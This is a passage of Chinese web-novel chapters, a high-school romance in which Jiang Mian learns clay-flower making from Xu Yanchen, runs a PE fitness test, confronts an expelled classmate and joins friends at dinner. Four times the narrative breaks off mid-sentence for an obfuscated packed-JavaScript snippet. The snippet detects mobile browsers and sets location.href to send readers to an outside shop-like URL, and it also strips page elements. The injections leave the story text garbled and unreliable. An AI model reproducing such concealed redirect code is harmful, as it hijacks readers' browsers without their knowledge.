许言琛挑眉看她,姜绵慢慢松了手,气势颓废:“我吃。” 他骤然一笑,搀着她坐好,将切好的苹果块一个个挑起来喂她,“张嘴,啊——” “再来一个,好吃吗?” 也不知道他是从哪儿学来的这些哄小孩儿的把戏,姜绵面上臊得慌,嘴硬回他:“不好吃。” 他像全然没听见,看着她只是笑,动作轻柔喂完她一整个苹果。 许言琛视线灼热,姜绵躺在病床上觉得浑身上下不自在,于是掖了掖被角赶他走:“我要睡觉了。” “行啊。”折好水果刀,许言琛放下翘着的腿,端正坐着,“你睡吧,我守着你。” 见他不动如钟,姜绵觉得可能是自己没表达清楚,于是她又换了句意味更清楚的话:“现在是上课时间,你这样算逃……” 比她的拒绝更先出现的,是恰时响起的下课铃声,见她噎住,许言琛挑眉看了眼吊瓶:“我替你看着。” 吊瓶里的水确实不多了,他这样说,姜绵抿紧唇不再讲话,直至困意来袭,她缓缓闭上眼睡了过去,眉宇间是自己都不曾发觉的放松。 这一觉睡得格外安稳,梦里没有那些讨人厌的杂音,只有一道清冽的声音在不厌其烦说着话,既像是抚慰又像是在疏解。 再睁眼时,身旁已经没有了人。 掀开被子,姜绵才发现右手手背上什么也没有了,只有一个小小的针孔周边泛着青紫。 不知道许言琛是什么时候离开的,也不知道自己这一觉睡了多久,她起身弓着腰穿鞋,腾出一只手摸索起一旁柜子上手机。 转手间突然摸到一个热乎乎的东西,姜绵被吓的手一缩,抬眸朝柜子上看。 她的手机旁边赫然放着一个打包盒,盒子上面贴着一张便利贴,姜绵伸手将它撕下来,查阅起上面的字。 【盛宜路98号。】 不知道是什么地方的地址被写在上面,字体刚劲有力,她知道是谁留的。 犹豫了一会儿,她将纸条折好放进衬衫兜里,一手拿着手机一手抱着盒饭出了医务室。 放学的时候,陈思彤出于愧疚,嚷着缠着非要亲自送姜绵回家,好在快上车的时候,程渡他们及时出现,把人给拐走了。 程渡拽着人往车站反方向走,回头冲身后喊:“姜小绵,加油,勇往直前!” 加什么油,勇什么前啊? 姜绵一头雾水踏上公交,眼看他们三人互相钳制着被甩在车后。 到站后姜绵没有下车,她盯着车门缓缓打开,又看着车门慢慢关上,直到车子行驶了一段距离,她从兜里取出折成小方块的便利贴。 那上面的地址莫名有些熟悉,跟着导航下车后,她站在小铺门口,看着橱窗里琳琅满目的手作品,她才想起,之前她也曾站在这里这样望着里面。 不过那时候的她,一心只想着追根溯源,却没心情好好欣赏它们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272252|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推开手作店的门,一阵清脆的风铃声响灌入耳中,铺子里异常冷清,只有一个少年在手工台旁背对着坐。 听见身后的动静,少年明显僵了一下,而后轻笑了声。 “来了?过来坐。”他没回头,伸手抽出旁边的凳子。 犹豫一瞬,姜绵抬脚慢慢朝他走过去,她没坐下,盯着他的头顶问:“你怎么确定一定会是我?” 许言琛抬头看她,笑意浮于表面:“这里平时没什么人来,马上就要闭店了。” 在她惊讶的表情中,许言琛低头继续手里的工作,姜绵取下书包放在椅子上,挤着坐下。 很长一段时间里,姜绵就这样安静坐着,侧头看他用不同颜色的黏土,做出各式各样的小玩意儿。 直到最后,许言琛做出一朵玫瑰形状的花,递到她面前。 “好看吗。” “好看!”姜绵眼里闪着光芒,伸手去接。 他笑了笑,把黏土花放在她手心,看着她高兴的模样,目光温柔,“想学吗?我可以教你。” “真的吗?我想……”她刚激动的要应他,却陡然发现自己情绪转换的有些快,轻咳了声,她又恢复了冷淡的样子。 “你叫我来,就是为了做这个?” 许言琛轻嗤一声,她是自己见过的,演技最差的人。 “不全是,你照着我之前做的,捏出那朵花,我就告诉你想知道的。” 被他看穿心思,姜绵倏然愣住。 盯着他波澜不惊的侧脸,她蹙眉:“你怎么知道我是为了什么而来?” 丢下擦手的湿纸巾,许言琛自嘲一笑:“我还没自恋到会相信你是被我人格魅力吸引来的。” 他脸上的表情太过漠然,姜绵别过头不讲话。 不就是朵玫瑰花吗,她还不信自己做不出来。 一边在脑海中回忆他刚刚游刃有余的动作,一边却在手作台上手忙脚乱的开始自我发挥。 好不容易经历了九九八十一难,做出来的玫瑰花却成功丑哭了她。 如果说许言琛做出来的花是清晨刚从枝丫上剪下来,还沾着点儿露水的。 那她做出来的花,就是插在矿泉水瓶里放了一个月的,已经枯死好久了。 正是因为这样,姜绵成功收到了今天的第一声嘲笑。 “是让你做花,不是让你施肥。” 把她的失败品拿过来放到一边,许言琛起身站在她身后,微微弓着身子,握住她的手,从头开始一步一步带领着她。 少年身上凌冽的气息将她深深裹住,姜绵耳尖绯红,僵着身子往后靠了靠,脑袋却撞上了他的胸膛。 手里的动作一顿,许言琛不动声色将她拢紧几分,轻吁一口气:“别乱动,马上就好。” 他说完后,姜绵当真不再乱动,只僵硬的维持着同一个动作,任由他带着自己的手完成一个个步骤。 最后,在她惊叹的眼神中,一朵栩栩如生的玫瑰花在她手里成了形。 姜绵开心极了,虽然她全程被动,但好歹也是有了参与感。 她捧着“新鲜出炉”的黏土花,语气得意却稍显没底气:“这样也算我成功吧?” 目光落在她脸上,许言琛轻抬下颌:“可以。” 抽出一张新的湿纸巾,他自然拉过她的手,慢条斯理提她擦拭起来。 “想先听哪个故事?” 47. 体测 他没有直说,而是问先听哪个。 对姜绵来说,他是完全充满神秘色彩的,在她以为自己很懂他的时候,有人跳出来戳破了幻想。 她确实有很多想问的,只不过坐在黏土店里,看着许言琛握住自己的那双骨节分明的手,姜绵最先想到的是摆在书桌上的黏土小猫。 她问:“你送我的那只黏土橘猫,也是你亲手做的吗?” 很意外她会先提及这个,许言琛手一顿,从喉咙溢出一声轻笑:“我没那么专业,是这家店的老板做的。” “果然。” “什么?” 姜绵抬眸跟他对视:“你之前说是在小摊上买的,都是骗我的。” 她不动声色抽回手,许言琛心一沉。 那时之所以会这样说,只是害怕她会有心理负担,这不是他送她礼物的初衷。 少见他有答不上话的时候,姜绵粲然一笑,突然觉得自己像个坏女人。 有句话叫“做得了便宜还卖乖”,她现在对他好像就是这样。 她不笑还好,一笑许言琛心里更加慌乱,“对不起,我……” “我见过你的猫。”她骤然打断他的话,语气难得轻缓了些,“很漂亮。” 许言琛愣了一秒,终于知道她为什么会提及黏土猫这回事。 也许是时机正好,垂眸思索后,他丝毫没避讳:“你都知道了。它叫A妹,跟你的橘子一样,也是从小陪我长大的。” 姜绵了然般“噢”了声,“是因为很重要,所以才会一直叫那个名字吗?” 他知道她指的什么。 一开始确实如她所说,因为很重要,想要用力记住,所以才会那样做。 可是后来发现,有些东西就算不用特殊的方式,也能记得一清二楚。 再后来,他看着那串意义非凡的字符,想的不再是他和A妹一起玩乐的场景。 而是,就这样吧。这段只有他一个人拥有过的记忆,就这样吧。 静静听他讲完这些,姜绵心里说不上来的难受,她太知道失去代表什么。 最痛苦的并不是失去的那一瞬间,而是发现后来的每一天,只能依靠回忆赖以生存,那种感觉,往往才是最凌迟人心的。 “有件事,我想要告诉你。” 许言琛抬眼看她,平静到看不出一丝情绪,忧伤没有,喜悦更不会存在。 在他倾听者的姿态中,姜绵极度不安,她攥紧手,语气颤抖:“初三那年,你爸爸之所以会消失几天,是因为他到我们家,参加了我爸爸的葬礼。” 这块压在她心里的石头,总算被搬了出去。 她会坦然接受他的批判、怒吼,甚至更多能疏解他情绪的行为。 可等了很久,久到她误以为时间静止,姜绵抬头从时间裂缝中窥探他的脸,才发现从什么时候开始,他嘴角扬起了极小的幅度。 许言琛就这样看着她,然后缓缓从喉咙里滚出几个字:“我知道。” “你……知道?”她瞪大了双眼。 “嗯,他走之前说过。” “那为什么孟阿姨会……”姜绵思绪紊乱,已经组织不好语言,“你的猫……” “跟这无关,是因为A妹受惊吓咬了她。” 想到什么后,许言琛嗤笑一声,“祝煜那混蛋应该告诉过你,他说的都是真的。” 姜绵愣愣摇了摇头,一切都太混乱了。 “如果你爸爸没有去我家,一切会不会变得不一样,你的……A妹可能也不会离开。” “不会。来我家这么久,她是一个什么样的人你应该清楚。” 他低低舒了口气,“总会爆发的,只是恰好选在了我不在的那天。” 她明白许言琛口中的“她”指的是孟阿姨。 同一屋檐下相处快一年,她不是清楚,而是无比明了孟虹是一个什么样的人。 孟虹总是疑神疑鬼,每天担心最多的事,就是害怕许国安在外面有其他女人,无论许国安是早回来还是晚回来,她都要闹上一番。 姜绵不止一次看见,提前结束工作的许国安为了在固定下班时间内到家,会在离家一百米处的花坛边抽烟耗到时间。 这样窒息的事情,几乎是天天发生。 见她失神,许言琛起身整了整衣服:“今天的故事讲完了,之后几天也来找我吧,我给你讲更有意思的。” 他转身做离开模样,姜绵腾地起身叫住他—— “许言琛!” 他止住脚步,拉门的动作停在一半。 “你不恨我吗?” 对的错的,明明她一次次在伤害他。 他没回头,浑笑一声,说了句不相关的话:“玫瑰花,送给你了。” 离开是有声音的,许言琛的离开,带起了一阵风铃响动,但很快趋于安静。 姜绵盯着空荡荡的门口,倏然发现自己做了太多错事,伤害了不该伤害的人,他却永远那样温柔,只会对她无所谓的笑。 眼泪顺着光滑的脸蛋一直下滑,泛起一阵痒意。 姜绵低头看向手作台,他亲手做的那支玫瑰上,真正意义上,沾染了清晨的露水。 那晚过后,所有人好像都陷入了异常忙碌的生活当中。 剩下的故事,姜绵也没能有时间亲自去找许言琛兑换,每天却能雷打不动的喝到他装进瓶里,熬好的中药,顺带附赠一颗棒棒糖,美其名曰是调理身体。 她身体素质一向不是很好,半信半疑吃了一段时间苦,没发现有什么变化。 直到一个月后,突如其来的体测,给了繁重学习任务下的他们一丝喘息的机会。 不过这个喘息机会,对姜绵来说,不过是有人在扼紧她喉咙后,挑衅般稍稍卸了点力气。 站到八百米起跑线的那一刻,她像不愿相信般眯了眯眼。 “我跑的可慢了,你们到时候一定得等等我。” “我也是,最讨厌跑八百了,到底是谁发明的体测啊。” “说好了一起跑啊,不许丢下我!” …… 班上所有女生聚在一堆,时不时冒出几句抱怨的话,姜绵自觉站在后排尝试让自己接受现实。 刘雪从队伍中间挤过来撞了撞她:“同桌,待会儿一起怎么样啊?” 她干笑了声,摆摆手:“我跑的很慢。” “没事儿,我跑的也不快。”刘雪原地跑热身,朝她挑眉,“大不了我等你一起。” “……” 等到裁判长一声哨响,姜绵才明白,其他人说跑的不快是谦虚,唯有她自己是真的跑的慢。 从小跑步拿遍倒数的她,早就已经习惯末尾的位置。 快到一圈的时候,刘雪发现自己带不动她,毅然决然抛下了她,一个冲刺涌上了前几名的位置。 她一离开,姜绵瞬间放松下来,原本的小跑也变成了气喘吁吁的小步走。 跑步对她来说,是比解数学试卷最后一道大题还要难的事情。 正当她摆烂决定走完全程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282274|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,突然听见有人喊她的名字,以为自己累出幻听,姜绵没管继续迈步走。 身后陆续有人超越她,喊她名字的声音也越来越清晰,难以忽视。 她扭头四处寻找,终于在跑道前方不远处,看见了正排着队的两人。 在单杠旁站着的程渡见她瞧了过来,更加激动的朝她挥手喊:“姜小绵,跑起来啊,我和许哥给你加油!加油姜小绵!” 姜绵登时想死的心都有了。 从来没出现过的体育细胞,在这个时候被激了出来,她半捂着脸,不顾形象的跑了起来,把那道令人羞耻的声音狠狠甩在了身后。 怎么好巧不巧,偏偏跟他们排在了一个场地。 只可惜,仅有的一丝体力也在半圈过后被彻底耗光,一圈半后,姜绵依旧处在队伍末尾,朝着最后的200米小步迈进。 作为倒数第一名的她,跟倒数第二保持着微小的距离,前面的女生她有印象,成绩很好平时很文静,个子不算高胖胖的很讨喜。 现在她在她前面,跑的异常艰难。 人在距离终点很近的时候,总会用尽全力冲一把,姜绵也不例外,只不过她处在这个尴尬的位置,排名倒没那么重要了。 马上擦身要越过那位女生的时候,她突然慢下来牵起她的手,气喘吁吁鼓舞她:“加油。” 女生愣了一下,用力回握住她。 她们就这样相互扶持同时撞过了终点线,排队上成绩的时候,姜绵推着女生往前站,自己则在后面蹲了下来。 再多跑一圈,不对,是半圈,她就能在操场原地升天。 “累了吧?来来来,喝水!” 姜绵抬头,看见程渡那张嘚瑟欠揍的脸,接过水喝了一口,她疲倦道谢:“谢了。” “小事儿。” 见她缓过来,程渡巴巴儿凑近,嘴上损人,“是不是我刚刚喊加油给你太大压力了。800米,你怎么跑的还没我走的快啊?” 姜绵白了他一眼,撑着膝盖慢慢起身。 可能是拜了那中药的效果,她难得没有眼前一黑,中气十足反讽他:“你引体向上连三个都没做起来,是因为我没给你加油吗?” 她把“三个”咬得极重,很快周围的女生开始偷偷打量他,小声笑出了声。 程渡脸上一阵青一阵白,“你”了半天也没说出个所以然,在她嘲讽的表情中,他转身就朝身后的人告起状来。 “许哥,你看看你家姜小绵!” 姜绵敛住笑,这才看见许言琛不知什么时候站在了他后面。 许言琛目光落在她身上,才运动完的原因,少女白嫩的脸上泛着粉,刚刚嚣张的气焰见了他后瞬间消失殆尽。 他扬了扬唇,偏袒意味毫不掩盖:“嗯,我家的,别瞎欺负。” 程渡一脸惊恐:“许哥,你……”这还让不让人活了! 他们说话的声音不大不小,姜绵恰好全部收入耳中,天边彩霞的颜色刹那间掉落到她脸上。 看着排到她身后的两人,她糯糯问:“你们来这里干什么?” 许言琛扬了扬手里的表:“交名单,马上跑1000。” “哦。” 她应了声,意识到有些冷淡,又怯怯补充,“那你加油。” 难得又重新听到她之前的语气,原本有了裂缝的关系不知不觉间贴合了起来。 目光落在她跑得有些散乱的马尾上,许言琛眯了眯眼,声音带着些沙哑: “在终点等我吗?” 48. 按摩 在终点等他是什么意思? 她们理科一班已经全部测完了所有项目,环视了圈人流逐渐稀少的操场,看样子这次体测最终得由许言琛他们班收尾了。 虽然一会儿结束完就能回家,行动自由,但她一个其它班的学生逗留在操场会不会太奇怪了? 想了想,姜绵干脆把问题给抛了回去:“你想我在吗?” 许言琛觉得好笑。 她背对着自己,明明心不在焉,却偏偏踮着脚往前看,装作一副急着想要走的样子。 低笑一声,他稍显不正经:“我想你在你就会在吗?” 队伍慢慢往前缩进,姜绵脚步一顿,心跳有些快。 “来了来了!她发信息过来了!”程渡突然从后面冒出来,插在了两人中间。 “她和滔儿在校门口等我们,让我们这边结束完就赶紧去。” “去……去哪儿?”她扭头,懵着一张小脸,完全是一副状况外的样子。 “滔儿的任职大典啊,姜小绵,你不会没看群里的消息吧?” 闻言姜绵面色尴尬,今天情况特殊,她确实没来得及看手机里的信息。 看她表情程渡就知道自己猜对了,将手里的手机转了个面,向她展示起了群消息。 姜绵凑近翻了翻,看到某处后,神情有些一言难尽。 他口中的任职,原来是指的担任班委啊。 “后面的同学,上来报成绩。” 前面什么时候已经没有了人,她回过神上前报了串数字。 许言琛目光一直黏在她身上,递了名单后,见她站在一旁没有要离开的打算,他故作不经意,扬了扬下颌:“终点在那边。” 反应过来他的意思,姜绵脸红了一大片,好不容易降下去的温度又升了上来,“谁说我要去终点!” 转身离开,她气呼呼挥了挥手:“我回教室!” 她暴走的样子,跟急了眼的小白兔没什么分别,不仅毫无杀伤力,还莫名透着点儿可爱。 低头轻笑了声,他忽的伸手拽住旁边人衣领咬牙切齿道:“你刚刚挺会见缝插针啊?” “错了错了!我错了许哥,我以后再也不敢了!” 回教室的路上格外清净。 刚进班里,碰巧遇到准备离开的刘雪跟她打招呼。 “走了小同桌,下周见。” “拜拜,下周见。”她笑着回应,顺手掏出书桌里的书包收拾起来。 整栋教学楼除了留下来打扫清洁的学生,几乎没什么人还在了。 所以当她出门看见走廊尽头站了个一身黑的人时,微不可查的愣了一下。 尽头里的人个子很高,身材纤细,头上扣着卫衣的黑帽子,整张脸被口罩遮挡的严严实实,让人难以分辨出性别。 那人看见她,毫不犹豫抬脚朝前走,似乎是专程冲着她而来的。 姜绵眉心轻皱,攥着书包带子看她一步步走近。 “又是这种方式,好久不见啊,姜绵。” 直到听见她声音的那一刻,姜绵才不可置信般瞪大了双眼,“你是……叶薇?” 女生呵笑了声,细指挑下口罩,露出那张略带憔悴却依然好看的脸,出口声音不再是闷闷的:“知道是我,很意外吗?” 说不上意外,只是她这幅打扮有些太过奇怪,夏天还没完全过去,身上就套了件厚实的外衣。 也许是看出她的眼神一直在自己身上打转,叶薇低头扯了扯衣服,笑容有些难看:“我现在只能这样出来见人,你不是最清楚吗?” 那件事情过后,她成了过街老鼠,就连那些她曾经看不起的人,如今也能跳到她身上踩她一脚,她早就不是之前的那个叶薇了。 想到这儿,她苦笑了声,从兜里掏出烟盒,抽出一支烟塞进红唇中。 打火,点燃,熄火。 她轻呼一口气,瞬间烟雾缭绕。 姜绵被烟味儿呛的往后退了退,皱眉劝导:“你别抽了,被发现就完了。” 她无所谓耸了耸肩,“我已经不是这个学校的学生了,管不着。”说完她从兜里掏出一张纸,摁在扶手边,“退学证明,今天才办的。” 姜绵朝她手边看去,纸张上面的几个红色大字似血欲滴,她只是扭过头淡淡道:“这里是教学区域,不能吸烟。” 面上表情倏然滞住,僵持几秒,叶薇抬手将烟摁熄在栏杆上,挑唇讽她:“你还真是一如既往的愚顽,也不知道许言琛看上你什么了。” 她抿唇不说话,静静待在一旁朝外面的风景看。 “说来也好笑,我从小就认识他,到现在才发觉,他竟是这么豁的出去的一个人。为了你,连叶家这么好的一个商业伙伴都可以毁掉。” “你在胡说什么?” “你不知道吗?他做这样的事情,竟然没有告诉你?”见她不知情,叶薇突的笑咳了起来。 既然这样,她也不会告诉她,不会让自己做的一切成了促人美事的笑话。 她笑够了,艰难喘息着,姜绵没有追问刚刚那些话,而是目视前方的树尖,问她:“你后悔吗?” 叶薇像是听到什么笑话般,仰头捂嘴笑:“后悔?是她们自己要来我眼前晃悠,故意恶心我,我只是给她们了点儿教训,我所做的一切都是能让我愉悦的事情,我有什么错?” 听她这样说,姜绵极轻的笑了,侧过头无可救药的盯着她:“你真可怜。” “什……什么?” “通过伤害别人来取悦自己,是人生最可怜的事之一。你知道还有一个是什么吗?” 在她茫然的表情中,姜绵淡淡补充:“那就是伤害自己来取悦自己。而你,恰好集齐了这两点,你真的,很可怜。” 不想再与她过久周旋,姜绵转身下楼,走到楼梯口的时候,她想到什么,停下步子。 趁身后人还愣着,她又给她重重一击:“听你刚刚的意思,是许言琛曝光的你,而且,许言琛是为了我才曝光的你。” “如果你现在还是这样想,未免也太好笑了。虽然不知道你对我做了什么,但从他选择曝光你的那一刻起,他就不单单只是为了我。” 他可以是为了事件里的受害人,可以是为了冷眼的旁观者,可以是为了不知情的同学,甚至也可以是为了叶薇那群人。 而她自己,不过是这件事情里举足轻重的一个存在。 重于泰山,轻于鸿毛,都是浮云。 * “姜宝,怎么感觉你今天不在线啊?”难得聚一次,陈思彤一眼就发现了她的不对劲。 桌上几人都朝她看去,许言琛靠着椅背,懒洋洋掀起眼看她。 姜绵清楚知道自己一顿饭下来发过几次呆,也没打算辩解,撑着下巴有气无力:“刚体测完,有些力不从心。” 心理上加身体上,双重叠加,她能打起精神来才是个奇迹。 “辛苦了辛苦了!” 跟她上过一学期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299749|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的体育课,陈思彤最知道她的极限在哪儿,今天一整套体测下来,已经是要了她的半条小命,她抬手给她按起肩。 程渡见气氛如此低迷,起身举杯:“来来来,庆祝我们滔儿荣获纪律委员职位,喝一个!” 陈思彤最积极,抓起桌上的杯子,唰的起身:“干!” 姜绵也笑着起身,握着杯子冲对面人抬了抬,由衷祝福:“恭喜张滔!” 许言琛紧随其后,冲他举了举杯。 他们几个这么大方祝愿,被捧到云巅的张滔先不好意思了起来,难得红了脸,一一碰杯:“谢谢,谢谢!我这就是走个形式,难得我们几个能聚一块儿才是真的开心。” “大格局啊滔儿!” 程渡竖起拇指,揽过他的肩,语气豪放,“自从分了班,我是哪哪儿都不舒服,就想念咱之前三班的最后一排,偏偏许哥他还不做人,非得往讲台旁边凑,留我一个人孤苦伶仃。” 说完他作势就靠在人肩头要哭起来。 提起分班,姜绵也不是很适应。 张滔是他们当中唯一学文的人,自然而然独自去了文科班。 而剩下他们四个学理的,她去了理科一班,陈思彤去了理科三班,只有程渡和许言琛一起被分到了理科四班。 原本凑到一块儿的他们,突然而然就被打散到各个地方,扎根生长。 理科一班是学校重点关注的班级,由教导主任带班,实行末尾淘汰制,班上五十二人,就只取每次考试年级前五十二名的人。 所以几乎每次考试,都会有新人来,也会有旧人走,理科一班每个人都很努力,姜绵在这个班压力不止一点儿。 “我提议,每次放假我们都出来小聚一下怎么样?”陈思彤举手说。 程渡拍手肯定:“没问题啊,我双手赞成!” “我也可以。” 目光自然而然落在没表态的两人身上。 姜绵看了眼他们,甜甜笑:“我也OK!” “许哥,你……” “可以。” “好!就这样愉快的决定了,下次放完假就过春节了吧?” “除夕一起去跨年怎么样?” “我来买烟花,上次跨年姜小绵跟我们一起,那烟花老漂亮了。” “好啊好啊,那我准备吃的,其实……” …… 聊着聊着,他们几个人越扯越远,讨论也更加火热,姜绵在一旁抿唇笑着听他们讲,没有要发言的意思。 身边人的椅子突然动了动,擦着地蹭出一道闷闷的声音,她扭头察看,倏然对上他的眼睛。 少年漆黑的眼眸在暗夜的灯照下闪着细碎的光,许言琛目光直白,不加掩饰。 她突然觉得眼神无处安放,攥着板凳扶手,闪躲着没话找话:“刚刚听程渡讲,你坐讲台旁边去了吗?” 许言琛还是看她,只不过这次眼底带了点儿笑意,几秒后,他低声问:“腿还酸吗?” 姜绵忽地愣住。 他是什么时候发现的? 坐位体前屈的时候不小心拉了下腿,本来没那么严重,只是后面又接上了长跑。 刚刚走路的时候,她已经尽量伪装得很正常,还是被他给看穿了吗? 等了一会儿没等到她的回答,他似乎也没想要她回答。 在几人热火朝天的讨论声中,许言琛往后仰了仰,轻笑着拍了拍自己的腿,声线蛊惑:“搭这儿,给你按按?” 49. 围巾 事实上,在他说完这句话的时候,姜绵完全是处于懵圈的状态。 许言琛没给她反应的机会。 两人隔得很近,他甚至没弯腰,一把握住她纤细的脚腕,拉着她勾住他的大腿。 等她回过神来的时候,她已经用一种极其亲密的方式,和他贴得很紧。 姜绵面色惊惶,往后缩着撤腿却没能成功。 许言琛摁住她,眼眸微眯带着侵略性,话语却有着几分温柔:“别动,哪儿,小腿吗?” 她抿紧唇瓣,僵硬着点了点头。 少年的指尖撩起一截长裙,暗夜中少女细嫩的小腿依旧白得晃眼 他微不可查滚了滚喉咙,手掌覆上去,顺着皮肤肌理往下揉。 时重时轻的触碰带起轻微战栗,姜绵支着下巴挡住升温的双颊,咬唇抑制住轻呼。 不算宽敞的包间内,两人的下半身被桌布遮挡得严严实实,没人注意到他们的小动作。 直到聚餐结束后,她脸上的温度还是没能降下来。 ”姜宝,你是不是背着我们偷偷喝酒了?”陈思彤一脸好奇的跑过来捏了捏她的脸。 “没、没有啊。”姜绵抬手扇了扇,笑着打哈哈,“可能是太热了吧。” 姜绵没说谎,是挺热的。 他的手。 不过经他这么一按摩,她确实觉得好多了。 他做那些事情时,俨然是一副正人君子的样子,不知道他内心是怎么想的,但姜绵知道,自己的心思早就飘到不知道什么地方去了。 她好像开始,变得有些奇奇怪怪了。 这份奇怪持续了很久,两人像心照不宣般贯彻起沉默,似乎都在等待对方先开口。 直到走近了家门口,两人同时停下脚步,窥望对方。 “我……” “我……” 异口同声,他们同时愣住。 姜绵低头轻咳了声:“你先说吧。” 许言琛默了会儿,从书包里拿出了一份成绩单,带着些期待递给她:“这次考试的成绩。” 她伸手接了过来,看着成绩单上那些已经熟稔了的数字,眉眼弯弯:“其实我知道。” 她去学校公告栏找过他的名字。 发现他已经能从最后一名单升越到第三张时,她是真的替他感到高兴。 他的刻苦不用她亲眼所见,外界的声音就是最好的证明。 所有人都说最近的许言琛跟中了邪一样,一头扎进了学习里,谁叫都不理。就连偶尔去一趟办公室,老师们闲下来的话题也都是围绕他。 许言琛本来底子也就不差,照这个上升趋势,她笑盈盈夸他:“很厉害啊,超越我指日可待!” 她说的完全是真心话,许言琛却被逗笑,弹了弹她脑门儿:“超越你可不是我的目标。” 她轻呼了声,捂住额头,抬眼看他,“那你的目标是什么?” 她有些好奇,从一开始到现在,能支撑他一直进步的到底是什么。 只见他丝毫没犹豫,转着手里的手机,言辞肯定:“追上你啊。” 超越你不是我的目标,追上你才是。 或者说,追到你才是。 姜绵很单纯,他话说的直白,她却一点儿都没多想,还乐呵呵损他:“那你也太没志气了,追上我很简单。” “是吗,有多简单?”他懒散回应。 “嗯……”她还真认真思考起来,给起了他一些建议,“早睡早起,劳逸结合,保证精力充沛,这样追上我会比较简单。” 他嗤笑一声:“我怎么感觉,你这是在关心我?” 姜绵哽住,她是这个意思吗? 好吧,她确实有这个意思。 实在是因为最近的他看上去有些过于疲累,身上带着一股很浓的倦怠气息,她怕许言琛会无形之中给自己太大的压力。 当着他的面,她还是嘴硬:“有吗?我的意思是,你要是有不会的地方可以来问我,别逞强。” “开小课啊。”许言琛扬眉,语气轻佻,“正好今天有道题不会,待会儿我来你房间?” 话毕,姜绵难以置信的抬起头,在他打趣的眼神中逐渐语无伦次。 他眼底的笑意愈加浓重,直到后面憋不住低低笑出声。 初秋的风裹挟着人的全身,她一激灵,明白他是故意的,慢慢蹙起了眉,锤了一下他的肩膀,没好气:“去天台啊。” 说完她扭头就走,倔强的挺直了脊背大步迈前,完全看不出来是刚刚被逗红了脸的人。 看得出来她是真的有些气,那一拳下了力道,许言琛一手拽着书包,一手插着兜,冲她背影喊:“别走啊,你刚刚要说什么还没说呢。” 她没搭理,摆了摆手,意思是无可奉告。 本来想感激他的话,已经被他的无赖欺的荡然无存。 许言琛有些后悔的抓了把头发。 他就是忍不住,看见她就想逗她玩儿,欣赏她下意识的小表情。 还挺有意思的。 后面的一段时间,群里异常热闹。 大家都在为意义非凡的一次聚会,贡献着自己的奇思妙想。 可能这就是典型的旅游前期综合症,明明计划已经做得足够妥当,但在距离他们安排的前一天,好不容易平息下去的群聊又火热了起来。 起因是张滔在群里丢了个链接,内容是某个旅游小博主po出的美妙绝伦的夜景照,往下俯拍,刚好看遍一整个城市。 而博主拍照的地方,刚好就在锦州,离他们不远的某个半山腰上。 于是大家的计划,从江边放烟花看夜景,一路变更成了到山上露营放烟花看夜景。 看着一片混乱的互勉群,姜绵在床上翻了个身,睡眼惺忪,思考着他们是怎么一晚上就改变了主意,并且还统一了口径。 好好的学习群,到现在竟然成了旅游打卡群。 还没等她想明白,有人先跳出来艾特起她来。 摆渡:@姜绵眠眠@A_XU宝贝儿们睡醒了没,出来冒个泡。 看样子,是缺他们两个人表态了。 等了会儿,没见她隔壁那位有发言的意思,姜绵一个跃身坐了起来,顶着一头乱糟糟的头发,整个人还有些懵。 打了个哈欠,她低头回复—— 姜绵眠眠:好啊!需要我准备什么尽管吩咐~ 摆渡:不用不用,把自己带上就行,其他的我和滔儿来。 这怎么好意思。露营的话,要准备的东西可不少。 不说帐篷和一些野外必备工具,就是吃的也要占一大堆。更何况看群里的消息,这次烟花多半也是他们俩准备,她什么力也不出未免太不好了。 正当她准备自告奋勇揽下一些活儿时,一直沉默的人发了话。 A_XU:吃的我们准备。 这个“我们”指的是谁们,不言而喻。 几秒后,她收到了许言琛发来的私人信息—— A_XU:一块儿逛逛超市? 姜绵猛然一个激灵翻下了床,直奔洗漱间。 大约半个小时后,她下楼看见了在门口等待已久的人。 入户门敞着,许言琛懒懒倚着门框,漫不经心盘弄着手里的手机,眉宇间没有不耐烦的意思。 姜绵一路小跑过去,“不好意思,我收拾的有些慢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313038|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 